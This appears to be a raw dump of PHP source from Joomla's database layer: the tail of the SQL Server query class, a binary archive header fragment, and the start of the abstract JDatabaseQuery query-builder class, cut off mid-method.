}
}
if (!$offset)
{
return $query;
}
return PHP_EOL
. 'SELECT * FROM (SELECT *, ROW_NUMBER() OVER (ORDER BY (SELECT 0))
AS RowNumber FROM ('
. $query
. PHP_EOL . ') AS A) AS A WHERE RowNumber > ' . (int)
$offset;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Split a string of sql expression into an array of individual columns.
* Single line or line end comments and multi line comments are stripped
off.
* Always return at least one column.
*
* @param string $string Input string of sql expression like select
expression.
*
* @return array[] The columns from the input string separated into an
array.
*
* @since 3.7.0
*/
protected function splitSqlExpression($string)
{
// Append whitespace as equivalent to the last comma
$string .= ' ';
$colIdx = 0;
$start = 0;
$open = false;
$openC = 0;
$comment = false;
$endString = '';
$length = strlen($string);
$columns = array();
$column = array();
$current = '';
$previous = null;
$operators = array(
'+' => '',
'-' => '',
'*' => '',
'/' => '',
'%' => '',
'&' => '',
'|' => '',
'~' => '',
'^' => '',
);
$addBlock = function ($block) use (&$column, &$colIdx)
{
if (isset($column[$colIdx]))
{
$column[$colIdx] .= $block;
}
else
{
$column[$colIdx] = $block;
}
};
for ($i = 0; $i < $length; $i++)
{
$current = substr($string, $i, 1);
$current2 = substr($string, $i, 2);
$current3 = substr($string, $i, 3);
$lenEndString = strlen($endString);
$testEnd = substr($string, $i, $lenEndString);
if ($current == '[' || $current == '"' ||
$current == "'" || $current2 == '--'
|| ($current2 == '/*') || ($current == '#'
&& $current3 != '#__')
|| ($lenEndString && $testEnd == $endString))
{
if ($open)
{
if ($testEnd === $endString)
{
if ($comment)
{
if ($lenEndString > 1)
{
$i += ($lenEndString - 1);
}
// Move cursor after close tag of comment
$start = $i + 1;
$comment = false;
}
elseif ($current == "'" || $current == ']'
|| $current == '"')
{
// Check for escaped quote like '', ]] or ""
$n = 1;
while ($i + $n < $length && $string[$i + $n] == $current)
{
$n++;
}
// Jump to the last quote
$i += $n - 1;
if ($n % 2 === 0)
{
// There is only escaped quote
continue;
}
elseif ($n > 2)
{
// The last right close quote is not escaped
$current = $string[$i];
}
}
$open = false;
$endString = '';
}
}
else
{
$open = true;
if ($current == '#' || $current2 == '--')
{
$endString = "\n";
$comment = true;
}
elseif ($current2 == '/*')
{
$endString = '*/';
$comment = true;
}
elseif ($current == '[')
{
$endString = ']';
}
else
{
$endString = $current;
}
if ($comment && $start < $i)
{
// Add string exists before comment
$addBlock(substr($string, $start, $i - $start));
$previous = $string[$i - 1];
$start = $i;
}
}
}
elseif (!$open)
{
if ($current == '(')
{
$openC++;
$previous = $current;
}
elseif ($current == ')')
{
$openC--;
$previous = $current;
}
elseif ($current == '.')
{
if ($i === $start && $colIdx > 0 &&
!isset($column[$colIdx]))
{
// Remove whitepace placed before dot
$colIdx--;
}
$previous = $current;
}
elseif ($openC === 0)
{
if (ctype_space($current))
{
// Normalize whitepace
$string[$i] = ' ';
if ($start < $i)
{
// Add text placed before whitespace
$addBlock(substr($string, $start, $i - $start));
$colIdx++;
$previous = $string[$i - 1];
}
elseif (isset($column[$colIdx]))
{
if ($colIdx > 1 || !isset($operators[$previous]))
{
// There was whitespace after comment
$colIdx++;
}
}
// Move cursor forward
$start = $i + 1;
}
elseif (isset($operators[$current]) && ($current !==
'*' || $previous !== '.'))
{
if ($start < $i)
{
// Add text before operator
$addBlock(substr($string, $start, $i - $start));
$colIdx++;
}
elseif (!isset($column[$colIdx]) &&
isset($operators[$previous]))
{
// Do not create whitespace between operators
$colIdx--;
}
// Add operator
$addBlock($current);
$previous = $current;
$colIdx++;
// Move cursor forward
$start = $i + 1;
}
else
{
$previous = $current;
}
}
}
if (($current == ',' && !$open && $openC == 0)
|| $i == $length - 1)
{
if ($start < $i && !$comment)
{
// Save remaining text
$addBlock(substr($string, $start, $i - $start));
}
$columns[] = $column;
// Reset values
$column = array();
$colIdx = 0;
$previous = null;
// Column saved, move cursor forward after comma
$start = $i + 1;
}
}
return $columns;
}
/**
* Add required aliases to columns for select statement in subquery.
*
* @return array[] Array of columns with added missing aliases.
*
* @since 3.7.0
*/
protected function fixSelectAliases()
{
$operators = array(
'+' => '',
'-' => '',
'*' => '',
'/' => '',
'%' => '',
'&' => '',
'|' => '',
'~' => '',
'^' => '',
);
// Split into array and remove comments
$columns = $this->splitSqlExpression(implode(',',
$this->select->getElements()));
foreach ($columns as $i => $column)
{
$size = count($column);
if ($size == 0)
{
continue;
}
if ($size > 2 && strcasecmp($column[$size - 2],
'AS') === 0)
{
// Alias exists, replace it to uppercase
$columns[$i][$size - 2] = 'AS';
continue;
}
if ($i == 0 && stripos(' DISTINCT ALL ', "
$column[0] ") !== false)
{
// This words are reserved, they are not column names
array_shift($column);
$size--;
}
$lastWord = strtoupper($column[$size - 1]);
$length = strlen($lastWord);
$lastChar = $lastWord[$length - 1];
if ($lastChar == '*')
{
// Skip on wildcard
continue;
}
if ($lastChar == ')'
|| ($size == 1 && $lastChar == "'")
|| $lastWord[0] == '@'
|| $lastWord == 'NULL'
|| $lastWord == 'END'
|| is_numeric($lastWord))
{
/* Ends with:
* - SQL function
* - single static value like 'only '+'string'
* - @@var
* - NULL
* - CASE ... END
* - Numeric
*/
$columns[$i][] = 'AS';
$columns[$i][] = $this->quoteName('columnAlias' . $i);
continue;
}
if ($size == 1)
{
continue;
}
$lastChar2 = substr($column[$size - 2], -1);
// Check if column ends with '- a.x' or '- a. x'
if (isset($operators[$lastChar2])
|| ($size > 2 && $lastChar2 === '.' &&
isset($operators[substr($column[$size - 3], -1)])))
{
// Ignore plus signs if column start with them
if ($size != 2 || ltrim($column[0], '+') !== '' ||
$column[1][0] === "'")
{
// If operator exists before last word then alias is required for
subquery
$columns[$i][] = 'AS';
$columns[$i][] = $this->quoteName('columnAlias' . $i);
continue;
}
}
elseif ($column[$size - 1][0] !== '.' && $lastChar2
!== '.')
{
// If columns is like name name2 then second word is alias.
// Add missing AS before the alias, exception for 'a. x' and
'a .x'
array_splice($columns[$i], -1, 0, 'AS');
}
}
$selectColumns = array();
foreach ($columns as $i => $column)
{
$selectColumns[$i] = implode(' ', $column);
}
$this->select = new JDatabaseQueryElement('SELECT',
$selectColumns);
return $columns;
}
/**
* Add missing columns names to GROUP BY clause.
*
* @param array[] $selectColumns Array of columns from
splitSqlExpression method.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
*/
protected function fixGroupColumns($selectColumns)
{
// Cache tables columns
static $cacheCols = array();
// Known columns of all included tables
$knownColumnsByAlias = array();
$iquotes = array('"' => '', '['
=> '', "'" => '');
$nquotes = array('"', '[', ']');
// Aggregate functions
$aFuncs = array(
'AVG(',
'CHECKSUM_AGG(',
'COUNT(',
'COUNT_BIG(',
'GROUPING(',
'GROUPING_ID(',
'MIN(',
'MAX(',
'SUM(',
'STDEV(',
'STDEVP(',
'VAR(',
'VARP(',
);
// Aggregated columns
$filteredColumns = array();
// Aliases found in SELECT statement
$knownAliases = array();
$wildcardTables = array();
foreach ($selectColumns as $i => $column)
{
$size = count($column);
if ($size === 0)
{
continue;
}
if ($i == 0 && stripos(' DISTINCT ALL ', "
$column[0] ") !== false)
{
// These words are reserved, they are not column names
array_shift($selectColumns[0]);
array_shift($column);
$size--;
}
if ($size > 2 && $column[$size - 2] === 'AS')
{
// Save and remove AS alias
$alias = $column[$size - 1];
if (isset($iquotes[$alias[0]]))
{
$alias = substr($alias, 1, -1);
}
// Remove alias
$selectColumns[$i] = $column = array_slice($column, 0, -2);
if ($size === 3 || ($size === 4 &&
strpos('+-*/%&|~^', $column[0][0]) !== false))
{
$lastWord = $column[$size - 3];
if ($lastWord[0] === "'" || $lastWord ===
'NULL' || is_numeric($lastWord))
{
unset($selectColumns[$i]);
continue;
}
}
// Remember pair alias => column expression
$knownAliases[$alias] = implode(' ', $column);
}
$aggregated = false;
foreach ($column as $j => $block)
{
if (substr($block, -2) === '.*')
{
// Found column ends with .*
if (isset($iquotes[$block[0]]))
{
// Quoted table
$wildcardTables[] = substr($block, 1, -3);
}
else
{
$wildcardTables[] = substr($block, 0, -2);
}
}
elseif (str_ireplace($aFuncs, '', $block) != $block)
{
$aggregated = true;
}
if ($block[0] === "'")
{
// Shrink static strings which could contain column name
$column[$j] = "''";
}
}
if (!$aggregated)
{
// Without aggregated columns and aliases
$filteredColumns[] = implode(' ', $selectColumns[$i]);
}
// Without aliases and static strings
$selectColumns[$i] = implode(' ', $column);
}
// If select statement use table.* expression
if ($wildcardTables)
{
// Split FROM statement into list of tables
$tables = $this->splitSqlExpression(implode(',',
$this->from->getElements()));
foreach ($tables as $i => $table)
{
$table = implode(' ', $table);
// Exclude subquery from the FROM clause
if (strpos($table, '(') === false)
{
// Unquote
$table = str_replace($nquotes, '', $table);
$table = str_replace('#__', $this->db->getPrefix(),
$table);
$table = explode(' ', $table);
$alias = end($table);
$table = $table[0];
// Chek if exists a wildcard with current alias table?
if (in_array($alias, $wildcardTables, true))
{
if (!isset($cacheCols[$table]))
{
$cacheCols[$table] = $this->db->getTableColumns($table);
}
if ($this->join || $table != $alias)
{
foreach ($cacheCols[$table] as $name => $type)
{
$knownColumnsByAlias[$alias][] = $alias . '.' . $name;
}
}
else
{
foreach ($cacheCols[$table] as $name => $type)
{
$knownColumnsByAlias[$alias][] = $name;
}
}
}
}
}
// Now we need to get all tables from any joins
// Go through all joins and add them to the tables array
if ($this->join)
{
foreach ($this->join as $join)
{
// Unquote and replace prefix
$joinTbl = str_replace($nquotes, '', (string) $join);
$joinTbl = str_replace("#__", $this->db->getPrefix(),
$joinTbl);
// Exclude subquery
if (preg_match('/JOIN\s+(\w+)(?:\s+AS)?(?:\s+(\w+))?/i',
$joinTbl, $matches))
{
$table = $matches[1];
$alias = isset($matches[2]) ? $matches[2] : $table;
// Chek if exists a wildcard with current alias table?
if (in_array($alias, $wildcardTables, true))
{
if (!isset($cacheCols[$table]))
{
$cacheCols[$table] = $this->db->getTableColumns($table);
}
foreach ($cacheCols[$table] as $name => $type)
{
$knownColumnsByAlias[$alias][] = $alias . '.' . $name;
}
}
}
}
}
}
$selectExpression = implode(',', $selectColumns);
// Split into the right columns
$groupColumns = $this->splitSqlExpression(implode(',',
$this->group->getElements()));
// Remove column aliases from GROUP statement - SQLSRV does not support
it
foreach ($groupColumns as $i => $column)
{
$groupColumns[$i] = implode(' ', $column);
$column = str_replace($nquotes, '', $groupColumns[$i]);
if (isset($knownAliases[$column]))
{
// Be sure that this is not a valid column name
if (!preg_match('/\b' . preg_quote($column, '/') .
'\b/', $selectExpression))
{
// Replace column alias by column expression
$groupColumns[$i] = $knownAliases[$column];
}
}
}
// Find all alias.* and fill with proper table column names
foreach ($filteredColumns as $i => $column)
{
if (substr($column, -2) === '.*')
{
unset($filteredColumns[$i]);
// Extract alias.* columns into GROUP BY statement
$groupColumns = array_merge($groupColumns,
$knownColumnsByAlias[substr($column, 0, -2)]);
}
}
$groupColumns = array_merge($groupColumns, $filteredColumns);
if ($this->order)
{
// Remove direction suffixes
$dir = array(" DESC\v", " ASC\v");
$orderColumns = $this->splitSqlExpression(implode(',',
$this->order->getElements()));
foreach ($orderColumns as $i => $column)
{
$column = implode(' ', $column);
$orderColumns[$i] = $column = trim(str_ireplace($dir, '',
"$column\v"), "\v");
if (isset($knownAliases[str_replace($nquotes, '', $column)]))
{
unset($orderColumns[$i]);
}
if (str_ireplace($aFuncs, '', $column) != $column)
{
// Do not add aggregate expression
unset($orderColumns[$i]);
}
}
$groupColumns = array_merge($groupColumns, $orderColumns);
}
// Get a unique string of all column names that need to be included in
the group statement
$this->group = new JDatabaseQueryElement('GROUP BY',
array_unique($groupColumns));
return $this;
}
/**
* Return correct rand() function for MSSQL.
*
* Ensure that the rand() function is MSSQL compatible.
*
* Usage:
* $query->Rand();
*
* @return string The correct rand function.
*
* @since 3.5
*/
public function Rand()
{
return ' NEWID() ';
}
}
PKJn�[�_�����database/query.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
*
* @method string q() q($text, $escape = true) Alias for quote
method
* @method string qn() qn($name, $as = null) Alias for quoteName
method
* @method string e() e($text, $extra = false) Alias for escape
method
* @property-read JDatabaseQueryElement $type
* @property-read JDatabaseQueryElement $select
* @property-read JDatabaseQueryElement $group
* @property-read JDatabaseQueryElement $having
*/
abstract class JDatabaseQuery
{
/**
* @var JDatabaseDriver The database driver.
* @since 1.7.0
*/
protected $db = null;
/**
* @var string The SQL query (if a direct query string was provided).
* @since 3.0.0
*/
protected $sql = null;
/**
* @var string The query type.
* @since 1.7.0
*/
protected $type = '';
/**
* @var JDatabaseQueryElement The query element for a generic query
(type = null).
* @since 1.7.0
*/
protected $element = null;
/**
* @var JDatabaseQueryElement The select element.
* @since 1.7.0
*/
protected $select = null;
/**
* @var JDatabaseQueryElement The delete element.
* @since 1.7.0
*/
protected $delete = null;
/**
* @var JDatabaseQueryElement The update element.
* @since 1.7.0
*/
protected $update = null;
/**
* @var JDatabaseQueryElement The insert element.
* @since 1.7.0
*/
protected $insert = null;
/**
* @var JDatabaseQueryElement The from element.
* @since 1.7.0
*/
protected $from = null;
/**
* @var JDatabaseQueryElement The join element.
* @since 1.7.0
*/
protected $join = null;
/**
* @var JDatabaseQueryElement The set element.
* @since 1.7.0
*/
protected $set = null;
/**
* @var JDatabaseQueryElement The where element.
* @since 1.7.0
*/
protected $where = null;
/**
* @var JDatabaseQueryElement The group by element.
* @since 1.7.0
*/
protected $group = null;
/**
* @var JDatabaseQueryElement The having element.
* @since 1.7.0
*/
protected $having = null;
/**
* @var JDatabaseQueryElement The column list for an INSERT statement.
* @since 1.7.0
*/
protected $columns = null;
/**
* @var JDatabaseQueryElement The values list for an INSERT statement.
* @since 1.7.0
*/
protected $values = null;
/**
* @var JDatabaseQueryElement The order element.
* @since 1.7.0
*/
protected $order = null;
/**
* @var object The auto increment insert field element.
* @since 1.7.0
*/
protected $autoIncrementField = null;
/**
* @var JDatabaseQueryElement The call element.
* @since 3.0.0
*/
protected $call = null;
/**
* @var JDatabaseQueryElement The exec element.
* @since 3.0.0
*/
protected $exec = null;
/**
* @var JDatabaseQueryElement The union element.
* @since 3.0.0
* @deprecated 4.0 Will be transformed and moved to $merge variable.
*/
protected $union = null;
/**
* @var JDatabaseQueryElement The unionAll element.
* @since 3.2.0
* @deprecated 4.0 Will be transformed and moved to $merge variable.
*/
protected $unionAll = null;
/**
* @var array Details of window function.
* @since 3.7.0
*/
protected $selectRowNumber = null;
/**
* Magic method to provide method alias support for quote() and
quoteName().
*
* @param string $method The called method.
* @param array $args The array of arguments passed to the method.
*
* @return string The aliased method's return value or null.
*
* @since 1.7.0
*/
public function __call($method, $args)
{
if (empty($args))
{
return;
}
switch ($method)
{
case 'q':
return $this->quote($args[0], isset($args[1]) ? $args[1] : true);
break;
case 'qn':
return $this->quoteName($args[0], isset($args[1]) ? $args[1] :
null);
break;
case 'e':
return $this->escape($args[0], isset($args[1]) ? $args[1] : false);
break;
}
}
/**
* Class constructor.
*
* @param JDatabaseDriver $db The database driver.
*
* @since 1.7.0
*/
public function __construct(JDatabaseDriver $db = null)
{
$this->db = $db;
}
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 1.7.0
*/
public function __toString()
{
$query = '';
if ($this->sql)
{
return $this->sql;
}
switch ($this->type)
{
case 'element':
$query .= (string) $this->element;
break;
case 'select':
$query .= (string) $this->select;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->selectRowNumber === null)
{
if ($this->group)
{
$query .= (string) $this->group;
}
if ($this->having)
{
$query .= (string) $this->having;
}
if ($this->union)
{
$query .= (string) $this->union;
}
if ($this->unionAll)
{
$query .= (string) $this->unionAll;
}
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'delete':
$query .= (string) $this->delete;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'update':
$query .= (string) $this->update;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
$query .= (string) $this->set;
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'insert':
$query .= (string) $this->insert;
// Set method
if ($this->set)
{
$query .= (string) $this->set;
}
// Columns-Values method
elseif ($this->values)
{
if ($this->columns)
{
$query .= (string) $this->columns;
}
$elements = $this->values->getElements();
if (!($elements[0] instanceof $this))
{
$query .= ' VALUES ';
}
$query .= (string) $this->values;
}
break;
case 'call':
$query .= (string) $this->call;
break;
case 'exec':
$query .= (string) $this->exec;
break;
}
if ($this instanceof JDatabaseQueryLimitable)
{
$query = $this->processLimit($query, $this->limit,
$this->offset);
}
return $query;
}
/**
* Magic function to get protected variable value
*
* @param string $name The name of the variable.
*
* @return mixed
*
* @since 1.7.0
*/
public function __get($name)
{
return isset($this->$name) ? $this->$name : null;
}
/**
* Add a single column, or array of columns to the CALL clause of the
query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
* The call method can, however, be called multiple times in the same
query.
*
* Usage:
* $query->call('a.*')->call('b.id');
* $query->call(array('a.*', 'b.id'));
*
* @param mixed $columns A string or an array of field names.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function call($columns)
{
$this->type = 'call';
if (is_null($this->call))
{
$this->call = new JDatabaseQueryElement('CALL', $columns);
}
else
{
$this->call->append($columns);
}
return $this;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* Usage:
* $query->select($query->castAsChar('a'));
*
* @param string $value The value to cast as a char.
*
* @return string Returns the cast value.
*
* @since 1.7.0
*/
public function castAsChar($value)
{
return $value;
}
/**
* Gets the number of characters in a string.
*
* Note, use 'length' to find the number of bytes in a string.
*
* Usage:
* $query->select($query->charLength('a'));
*
* @param string $field A value.
* @param string $operator Comparison operator between charLength
integer value and $condition
* @param string $condition Integer value to compare charLength with.
*
* @return string The required char length call.
*
* @since 1.7.0
*/
public function charLength($field, $operator = null, $condition = null)
{
return 'CHAR_LENGTH(' . $field . ')' .
(isset($operator) && isset($condition) ? ' ' . $operator
. ' ' . $condition : '');
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function clear($clause = null)
{
$this->sql = null;
switch ($clause)
{
case 'select':
$this->select = null;
$this->type = null;
$this->selectRowNumber = null;
break;
case 'delete':
$this->delete = null;
$this->type = null;
break;
case 'update':
$this->update = null;
$this->type = null;
break;
case 'insert':
$this->insert = null;
$this->type = null;
$this->autoIncrementField = null;
break;
case 'from':
$this->from = null;
break;
case 'join':
$this->join = null;
break;
case 'set':
$this->set = null;
break;
case 'where':
$this->where = null;
break;
case 'group':
$this->group = null;
break;
case 'having':
$this->having = null;
break;
case 'order':
$this->order = null;
break;
case 'columns':
$this->columns = null;
break;
case 'values':
$this->values = null;
break;
case 'exec':
$this->exec = null;
$this->type = null;
break;
case 'call':
$this->call = null;
$this->type = null;
break;
case 'limit':
$this->offset = 0;
$this->limit = 0;
break;
case 'offset':
$this->offset = 0;
break;
case 'union':
$this->union = null;
break;
case 'unionAll':
$this->unionAll = null;
break;
default:
$this->type = null;
$this->select = null;
$this->selectRowNumber = null;
$this->delete = null;
$this->update = null;
$this->insert = null;
$this->from = null;
$this->join = null;
$this->set = null;
$this->where = null;
$this->group = null;
$this->having = null;
$this->order = null;
$this->columns = null;
$this->values = null;
$this->autoIncrementField = null;
$this->exec = null;
$this->call = null;
$this->union = null;
$this->unionAll = null;
$this->offset = 0;
$this->limit = 0;
break;
}
return $this;
}
/**
* Adds a column, or array of column names that would be used for an
INSERT INTO statement.
*
* @param mixed $columns A column name, or array of column names.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function columns($columns)
{
if (is_null($this->columns))
{
$this->columns = new JDatabaseQueryElement('()', $columns);
}
else
{
$this->columns->append($columns);
}
return $this;
}
/**
* Concatenates an array of column names or values.
*
* Usage:
* $query->select($query->concatenate(array('a',
'b')));
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.0
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return 'CONCATENATE(' . implode(' || ' .
$this->quote($separator) . ' || ', $values) . ')';
}
else
{
return 'CONCATENATE(' . implode(' || ', $values) .
')';
}
}
/**
* Gets the current date and time.
*
* Usage:
* $query->where('published_up <
'.$query->currentTimestamp());
*
* @return string
*
* @since 1.7.0
*/
public function currentTimestamp()
{
return 'CURRENT_TIMESTAMP()';
}
/**
* Returns a PHP date() function compliant date format for the database
driver.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the getDateFormat method directly.
*
* @return string The format string.
*
* @since 1.7.0
*/
public function dateFormat()
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->getDateFormat();
}
/**
* Creates a formatted dump of the query for debugging purposes.
*
* Usage:
* echo $query->dump();
*
* @return string
*
* @since 1.7.3
*/
public function dump()
{
return '<pre class="jdatabasequery">' .
str_replace('#__', $this->db->getPrefix(), $this) .
'</pre>';
}
/**
* Add a table name to the DELETE clause of the query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
*
* Usage:
* $query->delete('#__a')->where('id = 1');
*
* @param string $table The name of the table to delete from.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function delete($table = null)
{
$this->type = 'delete';
$this->delete = new JDatabaseQueryElement('DELETE', null);
if (!empty($table))
{
$this->from($table);
}
return $this;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the escape method directly.
*
* Note that 'e' is an alias for this method as it is in
JDatabaseDriver.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 1.7.0
* @throws RuntimeException if the internal db property is not a valid
object.
*/
public function escape($text, $extra = false)
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
return $this->db->escape($text, $extra);
}
/**
* Add a single column, or array of columns to the EXEC clause of the
query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
* The exec method can, however, be called multiple times in the same
query.
*
* Usage:
* $query->exec('a.*')->exec('b.id');
* $query->exec(array('a.*', 'b.id'));
*
* @param mixed $columns A string or an array of field names.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function exec($columns)
{
$this->type = 'exec';
if (is_null($this->exec))
{
$this->exec = new JDatabaseQueryElement('EXEC', $columns);
}
else
{
$this->exec->append($columns);
}
return $this;
}
/**
* Add a table to the FROM clause of the query.
*
* Note that while an array of tables can be provided, it is recommended
you use explicit joins.
*
* Usage:
* $query->select('*')->from('#__a');
*
* @param mixed $tables A string or array of table names.
* This can be a JDatabaseQuery object
(or a child of it) when used
* as a subquery in FROM clause along
with a value for $subQueryAlias.
* @param string $subQueryAlias Alias used when $tables is a
JDatabaseQuery.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @throws RuntimeException
*
* @since 1.7.0
*/
public function from($tables, $subQueryAlias = null)
{
if (is_null($this->from))
{
if ($tables instanceof $this)
{
if (is_null($subQueryAlias))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_NULL_SUBQUERY_ALIAS');
}
$tables = '( ' . (string) $tables . ' ) AS ' .
$this->quoteName($subQueryAlias);
}
$this->from = new JDatabaseQueryElement('FROM', $tables);
}
else
{
$this->from->append($tables);
}
return $this;
}
/**
* Used to get a string to extract year from date column.
*
* Usage:
*
$query->select($query->year($query->quoteName('dateColumn')));
*
* @param string $date Date column containing year to be extracted.
*
* @return string Returns string to extract year from a date.
*
* @since 3.0.0
*/
public function year($date)
{
return 'YEAR(' . $date . ')';
}
/**
* Used to get a string to extract month from date column.
*
* Usage:
*
$query->select($query->month($query->quoteName('dateColumn')));
*
* @param string $date Date column containing month to be extracted.
*
* @return string Returns string to extract month from a date.
*
* @since 3.0.0
*/
public function month($date)
{
return 'MONTH(' . $date . ')';
}
/**
* Used to get a string to extract day from date column.
*
* Usage:
*
$query->select($query->day($query->quoteName('dateColumn')));
*
* @param string $date Date column containing day to be extracted.
*
* @return string Returns string to extract day from a date.
*
* @since 3.0.0
*/
public function day($date)
{
return 'DAY(' . $date . ')';
}
/**
* Used to get a string to extract hour from date column.
*
* Usage:
*
$query->select($query->hour($query->quoteName('dateColumn')));
*
* @param string $date Date column containing hour to be extracted.
*
* @return string Returns string to extract hour from a date.
*
* @since 3.0.0
*/
public function hour($date)
{
return 'HOUR(' . $date . ')';
}
/**
* Used to get a string to extract minute from date column.
*
* Usage:
*
$query->select($query->minute($query->quoteName('dateColumn')));
*
* @param string $date Date column containing minute to be extracted.
*
* @return string Returns string to extract minute from a date.
*
* @since 3.0.0
*/
public function minute($date)
{
return 'MINUTE(' . $date . ')';
}
/**
* Used to get a string to extract seconds from date column.
*
* Usage:
*
$query->select($query->second($query->quoteName('dateColumn')));
*
* @param string $date Date column containing second to be extracted.
*
* @return string Returns string to extract second from a date.
*
* @since 3.0.0
*/
public function second($date)
{
return 'SECOND(' . $date . ')';
}
/**
* Add a grouping column to the GROUP clause of the query.
*
* Usage:
* $query->group('id');
*
* @param mixed $columns A string or array of ordering columns.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function group($columns)
{
if (is_null($this->group))
{
$this->group = new JDatabaseQueryElement('GROUP BY',
$columns);
}
else
{
$this->group->append($columns);
}
return $this;
}
/**
* A conditions to the HAVING clause of the query.
*
* Usage:
* $query->group('id')->having('COUNT(id) >
5');
*
* @param mixed $conditions A string or array of columns.
* @param string $glue The glue by which to join the conditions.
Defaults to AND.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function having($conditions, $glue = 'AND')
{
if (is_null($this->having))
{
$glue = strtoupper($glue);
$this->having = new JDatabaseQueryElement('HAVING',
$conditions, " $glue ");
}
else
{
$this->having->append($conditions);
}
return $this;
}
/**
* Add an INNER JOIN clause to the query.
*
* Usage:
* $query->innerJoin('b ON b.id =
a.id')->innerJoin('c ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function innerJoin($condition)
{
$this->join('INNER', $condition);
return $this;
}
/**
* Add a table name to the INSERT clause of the query.
*
* Note that you must not mix insert, update, delete and select method
calls when building a query.
*
* Usage:
* $query->insert('#__a')->set('id = 1');
* $query->insert('#__a')->columns('id,
title')->values('1,2')->values('3,4');
* $query->insert('#__a')->columns('id,
title')->values(array('1,2', '3,4'));
*
* @param mixed $table The name of the table to insert data
into.
* @param boolean $incrementField The name of the field to auto
increment.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function insert($table, $incrementField=false)
{
$this->type = 'insert';
$this->insert = new JDatabaseQueryElement('INSERT INTO',
$table);
$this->autoIncrementField = $incrementField;
return $this;
}
/**
* Add a JOIN clause to the query.
*
* Usage:
* $query->join('INNER', 'b ON b.id = a.id);
*
* @param string $type The type of join. This string is
prepended to the JOIN keyword.
* @param string $conditions A string or array of conditions.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function join($type, $conditions)
{
if (is_null($this->join))
{
$this->join = array();
}
$this->join[] = new JDatabaseQueryElement(strtoupper($type) . '
JOIN', $conditions);
return $this;
}
/**
* Add a LEFT JOIN clause to the query.
*
* Usage:
* $query->leftJoin('b ON b.id = a.id')->leftJoin('c
ON c.id = b.id');
*
* @param string $condition The join condition.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 1.7.0
*/
public function leftJoin($condition)
{
$this->join('LEFT', $condition);
return $this;
}
/**
* Get the length of a string in bytes.
*
* Note, use 'charLength' to find the number of characters in a
string.
*
* Usage:
* query->where($query->length('a').' > 3');
*
* @param string $value The string to measure.
*
* @return int
*
* @since 1.7.0
*/
public function length($value)
{
return 'LENGTH(' . $value . ')';
}
/**
* Get the null or zero representation of a timestamp for the database
driver.
*
* This method is provided for use where the query object is passed to a
function for modification.
* If you have direct access to the database object, it is recommended you
use the nullDate method directly.
*
* Usage:
* $query->where('modified_date <>
'.$query->nullDate());
*
* @param boolean $quoted Optionally wraps the null date in database
quotes (true by default).
*
* @return string Null or zero representation of a timestamp.
*
* @since 1.7.0
*/
public function nullDate($quoted = true)
{
if (!($this->db instanceof JDatabaseDriver))
{
throw new
RuntimeException('JLIB_DATABASE_ERROR_INVALID_DB_OBJECT');
}
